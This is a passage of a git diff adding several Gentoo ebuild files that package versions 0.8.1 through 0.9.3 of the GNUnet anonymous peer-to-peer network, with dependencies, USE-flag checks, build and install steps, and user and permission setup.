file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.1-r1.ebuild b/net-p2p/gnunet/gnunet-0.8.1-r1.ebuild new file mode 100644 index 00000000..7ae88407 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.1-r1.ebuild @@ -0,0 +1,105 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-p2p/gnunet/gnunet-0.8.1.ebuild,v 1.1 2010/01/28 11:48:07 patrick Exp $ + +EAPI=2 + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="http ipv6 mysql smtp +sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + smtp? ( net-libs/libesmtp ) + http? ( net-libs/libmicrohttpd )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + # make mysql default sqstore if we do not compile sqlite support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.1.ebuild b/net-p2p/gnunet/gnunet-0.8.1.ebuild new file mode 100644 index 00000000..3c9f7321 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.1.ebuild @@ -0,0 +1,108 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ +# Nonofficial ebuild by Ycarus. For new version look here : http://gentoo.zugaina.org/ +# This ebuild is a small modification of the official gnunet ebuild + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="ipv6 mysql sqlite ncurses nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.20c + >=net-libs/libmicrohttpd-0.4.0 + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + ncurses? ( sys-libs/ncurses ) + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=sys-devel/libtool-2.2.4" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd || die "Problem adding gnunetd group" + enewuser gnunetd -1 -1 /dev/null gnunetd || die "Problem adding gnunetd user" +} + +src_unpack() { + unpack ${A} + cd "${S}" + + # make mysql default sqstore if we do not compile sql support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + + econf \ + $(use_with sqlite) \ + $(use_enable ipv6) \ + $(use_enable nls) \ + $(use_enable ncurses) \ + ${myconf} || die "econf failed" + + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + doins contrib/gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + use ipv6 && ewarn "ipv6 support is -very- experimental and prone to bugs" + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.1a.ebuild b/net-p2p/gnunet/gnunet-0.8.1a.ebuild new file mode 100644 index 00000000..8aa00ed5 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.1a.ebuild @@ -0,0 +1,102 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-p2p/gnunet/gnunet-0.8.1.ebuild,v 1.1 2010/01/28 11:48:07 patrick Exp $ + +EAPI=2 + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="http mysql smtp +sqlite nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.5.18a + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + smtp? ( net-libs/libesmtp ) + http? ( net-libs/libmicrohttpd )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + # make mysql default sqstore if we do not compile sqlite support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + use http || myconf="${myconf} --without-microhttpd" + use smtp || myconf="${myconf} --without-esmtp" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.8.1b.ebuild b/net-p2p/gnunet/gnunet-0.8.1b.ebuild new file mode 100644 index 00000000..ff2e5530 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.8.1b.ebuild @@ -0,0 +1,102 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: /var/cvsroot/gentoo-x86/net-p2p/gnunet/gnunet-0.8.1.ebuild,v 1.1 2010/01/28 11:48:07 patrick Exp $ + +EAPI=2 + +inherit eutils autotools + +S="${WORKDIR}/GNUnet-${PV}" +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://gnunet.org/download/GNUnet-${PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="http mysql smtp +sqlite nls gtk" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + =media-libs/libextractor-0.5.23 + >=dev-libs/gmp-4.0.0 + gnome-base/libglade + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + >=dev-scheme/guile-1.8.0 + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + smtp? ( net-libs/libesmtp ) + http? ( net-libs/libmicrohttpd )" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + # make mysql default sqstore if we do not compile sqlite support + # (bug #107330) + ! use sqlite && \ + sed -i 's:default "sqstore_sqlite":default "sqstore_mysql":' \ + contrib/config-daemon.in + + # we do not want to built gtk support with USE=-gtk + if ! use gtk ; then + sed -i "s:AC_DEFINE_UNQUOTED..HAVE_GTK.*:true:" configure.ac + fi + + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + + use mysql || myconf="${myconf} --without-mysql" + use http || myconf="${myconf} --without-microhttpd" + use smtp || myconf="${myconf} --without-esmtp" + + econf \ + $(use_with sqlite) \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS PLATFORMS README README.fr UPDATING + insinto /etc + newins contrib/gnunet.root gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + einfo + einfo "To configure" + einfo " 1) Add user(s) to the gnunetd group" + einfo " 2) Run 'gnunet-setup' to generate your client config file" + einfo " 3) Run gnunet-setup -d as root to generate a server config file" + einfo +} diff --git a/net-p2p/gnunet/gnunet-0.9.0.ebuild b/net-p2p/gnunet/gnunet-0.9.0.ebuild new file mode 100644 index 00000000..118d5c2a --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.0.ebuild @@ -0,0 +1,78 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + use mysql || myconf="${myconf} --without-mysql" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild b/net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild new file mode 100644 index 00000000..88889e76 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.0_pre0.ebuild @@ -0,0 +1,84 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + epatch ${FILESDIR}/${P}-gentoo.patch + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + use mysql || myconf="${myconf} --without-mysql" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + insinto /etc + sed -i 's:$SERVICEHOME:/var/lib/gnunet:g' ${S}/contrib/defaults.conf + sed -i 's:$DEFAULTCONFIG:/etc/gnunet.conf:g' ${S}/contrib/defaults.conf + newins contrib/defaults.conf gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild b/net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild new file mode 100644 index 00000000..9ee8cbbf --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.0_pre1.ebuild @@ -0,0 +1,84 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + gtk? ( >=x11-libs/gtk+-2.6.10 ) + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + epatch ${FILESDIR}/${PN}-0.9.0_pre0-gentoo.patch + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + use mysql || myconf="${myconf} --without-mysql" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + insinto /etc + sed -i 's:$SERVICEHOME:/var/lib/gnunet:g' ${S}/contrib/defaults.conf + sed -i 's:$DEFAULTCONFIG:/etc/gnunet.conf:g' ${S}/contrib/defaults.conf + newins contrib/defaults.conf gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild b/net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild new file mode 100644 index 00000000..25fac619 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.0_pre2.ebuild @@ -0,0 +1,83 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + epatch ${FILESDIR}/${PN}-0.9.0_pre2-gentoo.patch + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + use mysql || myconf="${myconf} --without-mysql" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + insinto /etc + sed -i 's:$SERVICEHOME:/var/lib/gnunet:g' ${S}/contrib/defaults.conf + sed -i 's:$DEFAULTCONFIG:/etc/gnunet.conf:g' ${S}/contrib/defaults.conf + newins contrib/defaults.conf gnunet.conf + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.1.ebuild b/net-p2p/gnunet/gnunet-0.9.1.ebuild new file mode 100644 index 00000000..118d5c2a --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.1.ebuild @@ -0,0 +1,78 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + use mysql || myconf="${myconf} --without-mysql" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.2.ebuild b/net-p2p/gnunet/gnunet-0.9.2.ebuild new file mode 100644 index 00000000..40c1b6f0 --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.2.ebuild @@ -0,0 +1,79 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6 + dev-libs/libunistring" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + sed -i 's:@GN_USER_HOME_DIR@:/etc:g' src/include/gnunet_directories.h.in + AT_M4DIR="${S}/m4" eautoreconf +} + +src_compile() { + local myconf + use mysql || myconf="${myconf} --without-mysql" + econf \ + $(use_enable nls) \ + ${myconf} || die "econf failed" + emake -j1 || die "emake failed" +} + +src_install() { + emake DESTDIR="${D}" -j1 install || die "make install failed" + dodoc AUTHORS ChangeLog INSTALL NEWS README + docinto contrib + dodoc contrib/* + newinitd "${FILESDIR}"/${PN}.initd-0.9.0v2 gnunet + dodir /var/lib/gnunet + chown gnunetd:gnunetd "${D}"/var/lib/gnunet +} + +pkg_postinst() { + # make sure permissions are ok + chown -R gnunetd:gnunetd "${ROOT}"/var/lib/gnunet + + ewarn "This ebuild is HIGLY experimental" +} diff --git a/net-p2p/gnunet/gnunet-0.9.3.ebuild b/net-p2p/gnunet/gnunet-0.9.3.ebuild new file mode 100644 index 00000000..0473168e --- /dev/null +++ b/net-p2p/gnunet/gnunet-0.9.3.ebuild @@ -0,0 +1,81 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=2 + +inherit eutils autotools + +MY_PV="${PV/_/}" + +DESCRIPTION="GNUnet is an anonymous, distributed, reputation based network." +HOMEPAGE="http://gnunet.org/" +SRC_URI="http://ftp.gnu.org/gnu/gnunet/${PN}-${MY_PV}.tar.gz" +#tests don't work +RESTRICT="test" + +IUSE="mysql nls sqlite postgres" +KEYWORDS="~amd64 ~ppc ~ppc64 ~sparc ~x86" +LICENSE="GPL-2" +SLOT="0" +S="${WORKDIR}/${PN}-${MY_PV}" + +DEPEND=">=dev-libs/libgcrypt-1.2.0 + >=media-libs/libextractor-0.6.1 + >=dev-libs/gmp-4.0.0 + sys-libs/zlib + net-misc/curl + sys-apps/sed + mysql? ( >=virtual/mysql-4.0 ) + sqlite? ( >=dev-db/sqlite-3.0.8 ) + nls? ( sys-devel/gettext ) + >=net-libs/libmicrohttpd-0.4.6 + dev-libs/libunistring" + +pkg_setup() { + if ! use mysql && ! use sqlite; then + einfo + einfo "You need to specify at least one of 'mysql' or 'sqlite'" + einfo "USE flag in order to have properly installed gnunet" + einfo + die "Invalid USE flag set" + fi +} + +pkg_preinst() { + enewgroup gnunetd + enewuser gnunetd -1 -1 /dev/null gnunetd +} + +src_prepare() { + sed -i 